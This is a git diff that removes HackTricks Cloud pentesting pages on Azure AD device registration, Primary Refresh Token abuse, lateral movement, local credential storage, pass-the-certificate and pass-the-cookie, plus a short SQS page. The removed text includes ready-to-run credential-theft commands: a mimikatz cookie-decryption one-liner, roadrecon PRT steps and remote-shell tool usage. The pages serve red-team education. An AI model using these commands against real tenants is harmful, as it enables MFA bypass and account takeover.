-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## SQS
-
-For more information about SQS check:
-
-{% content-ref url="../aws-services/aws-sqs-and-sns-enum.md" %}
-[aws-sqs-and-sns-enum.md](../aws-services/aws-sqs-and-sns-enum.md)
-{% endcontent-ref %}
-
-### Public URL template
-
-```
-https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
-```
-
-### Check Permissions
-
-It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-device-registration.md b/pentesting-cloud/azure-security/az-device-registration.md
deleted file mode 100644
index 44e42482b..000000000
--- a/pentesting-cloud/azure-security/az-device-registration.md
+++ /dev/null
@@ -1,138 +0,0 @@
-# Az - Device Registration
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-When a device joins AzureAD a new object is created in AzureAD.
-
-When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt.
-
-Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible.
-
-Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).:
-
-```bash
-dsregcmd /status
-```
-
-After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.**
-
-For more information about what is a PRT check:
-
-{% content-ref url="az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md" %}
-[az-primary-refresh-token-prt.md](az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
-{% endcontent-ref %}
-
-### TPM - Trusted Platform Module
-
-The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\
-But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights.
-
-If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys):
-
-{% content-ref url="az-lateral-movement-cloud-on-prem/pass-the-prt.md" %}
-[pass-the-prt.md](az-lateral-movement-cloud-on-prem/pass-the-prt.md)
-{% endcontent-ref %}
-
-## Registering a device with SSO tokens
-
-It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it:
-
-```bash
-# Initialize SSO flow
-roadrecon auth prt-init
-.\ROADtoken.exe <nonce>
-
-# Request token with PRT with PRT cookie
-roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
-
-# Custom pyhton script to register a device (check roadtx)
-registerdevice.py
-```
-
-Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**.
-
-{% hint style="success" %}
-Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**.
-{% endhint %}
-
-{% hint style="danger" %}
-This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
-{% endhint %}
-
-## Overwriting a device ticket
-
-It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A).
-
-<figure><img src="../../.gitbook/assets/image (32).png" alt=""><figcaption></figcaption></figure>
-
-{% hint style="danger" %}
-However, this was fixed.
-{% endhint %}
-
-## Overwrite WHFB key
-
-[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
-
-Attack summary:
-
-* It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO
-* It **defeats TPM protection** as the key is **sniffed during the generation** of the new key
-* This also provides **persistence**
-
-<figure><img src="../../.gitbook/assets/image (34).png" alt=""><figcaption></figcaption></figure>
-
-Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph.
-
-Then, it's possible to generate a new key with:
-
-```bash
-roadtx genhellokey -d <device id> -k tempkey.key
-```
-
-and then PATCH the information of the searchableDeviceKey:
-
-<figure><img src="../../.gitbook/assets/image (36).png" alt=""><figcaption></figcaption></figure>
-
-It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check:
-
-{% content-ref url="az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md" %}
-[az-phishing-primary-refresh-token-microsoft-entra.md](az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md)
-{% endcontent-ref %}
-
-<figure><img src="../../.gitbook/assets/image (37).png" alt=""><figcaption></figcaption></figure>
-
-## References
-
-* [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
-* [https://www.youtube.com/watch?v=x609c-MUZ\_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
-* [https://www.youtube.com/watch?v=AFay\_58QubY](https://www.youtube.com/watch?v=AFay_58QubY)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
deleted file mode 100644
index 5cb58cb86..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# Az - Lateral Movement (Cloud - On-Prem)
-
-## Az - Lateral Movement (Cloud - On-Prem)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### On-Prem machines connected to cloud
-
-There are different ways a machine can be connected to the cloud:
-
-#### Azure AD joined
-
-<figure><img src="../../../.gitbook/assets/image (259).png" alt=""><figcaption></figcaption></figure>
-
-#### Workplace joined
-
-<figure><img src="../../../.gitbook/assets/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large</a></p></figcaption></figure>
-
-#### Hybrid joined
-
-<figure><img src="../../../.gitbook/assets/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large</a></p></figcaption></figure>
-
-#### Workplace joined on AADJ or Hybrid
-
-<figure><img src="../../../.gitbook/assets/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large</a></p></figcaption></figure>
-
-### Tokens and limitations <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
-
-In Azure AD, there are different types of tokens with specific limitations:
-
-* **Access tokens**: Used to access APIs and resources like the Microsoft Graph. They are tied to a specific client and resource.
-* **Refresh tokens**: Issued to applications to obtain new access tokens. They can only be used by the application they were issued to or a group of applications.
-* **Primary Refresh Tokens (PRT)**: Used for Single Sign-On on Azure AD joined, registered, or hybrid joined devices. They can be used in browser sign-in flows and for signing in to mobile and desktop applications on the device.
-* **Windows Hello for Business keys (WHFB)**: Used for passwordless authentication. It's used to get Primary Refresh Tokens.
-
-The most interesting type of token is the Primary Refresh Token (PRT).
-
-{% content-ref url="az-primary-refresh-token-prt.md" %}
-[az-primary-refresh-token-prt.md](az-primary-refresh-token-prt.md)
-{% endcontent-ref %}
-
-### Pivoting Techniques
-
-From the **compromised machine to the cloud**:
-
-* [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login
-* [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text.
-* [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it
-* [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it.
-* [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another
-
-From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**:
-
-* [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
-* **Another way to pivot from could to On-Prem is** [**abusing Intune**](../az-services/intune.md)
-
-#### [Roadtx](https://github.com/dirkjanm/ROADtools)
-
-This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
-
-## References
-
-* [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
deleted file mode 100644
index 0b2239549..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
+++ /dev/null
@@ -1,65 +0,0 @@
-# Az - Local Cloud Credentials
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Local Token Storage and Security Considerations
-
-### Azure CLI (Command-Line Interface)
-
-Tokens and sensitive data are stored locally by Azure CLI, raising security concerns:
-
-1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\<username>\.Azure`.
-2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details.
-3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as:
-   * Executed commands with credentials embedded.
-   * URLs accessed using tokens, potentially revealing sensitive information.
-
-### Azure PowerShell
-
-Azure PowerShell also stores tokens and sensitive data, which can be accessed locally:
-
-1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\<username>\.Azure`, stores access tokens in plaintext.
-2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`.
-3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access.
-
-## Automatic Tools to find them
-
-* [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
-* [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
-
-## Security Recommendations
-
-Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by:
-
-* Limiting access rights to these files.
-* Regularly monitoring and auditing these directories for unauthorized access or unexpected changes.
-* Employing encryption for sensitive files where possible.
-* Educating users about the risks and best practices for handling such sensitive information.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
deleted file mode 100644
index 31e22a7a5..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# Az - Pass the Certificate
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Pass the Certificate (Azure)
-
-In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism.
-
-In super simplified terms:
-
-* The machine (client) initiating the connection **needs a certificate from Azure AD for a user**.
-* Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD**
-* Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**.
-
-In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack:
-
-* Username
-* Tenant ID
-* PRT
-* Security context
-* Derived Key
-
-It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
-
-{% code overflow="wrap" %}
-```bash
-RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
-```
-{% endcode %}
-
-The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
-
-```bash
-Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
-```
-
-## References
-
-* For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
deleted file mode 100644
index cdead6bd4..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# Az - Pass the Cookie
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Why Cookies?
-
-Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate.
-
-You can see where are **browser cookies located** in:
-
-{% embed url="https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome" %}
-
-## Attack
-
-The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in:
-
-{% embed url="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords" %}
-
-With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command:
-
-```bash
-mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
-```
-
-For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately.
-
-Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated.
-
-## References
-
-* [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
deleted file mode 100644
index 301eb11d2..000000000
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# Az - Phishing Primary Refresh Token (Microsoft Entra)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
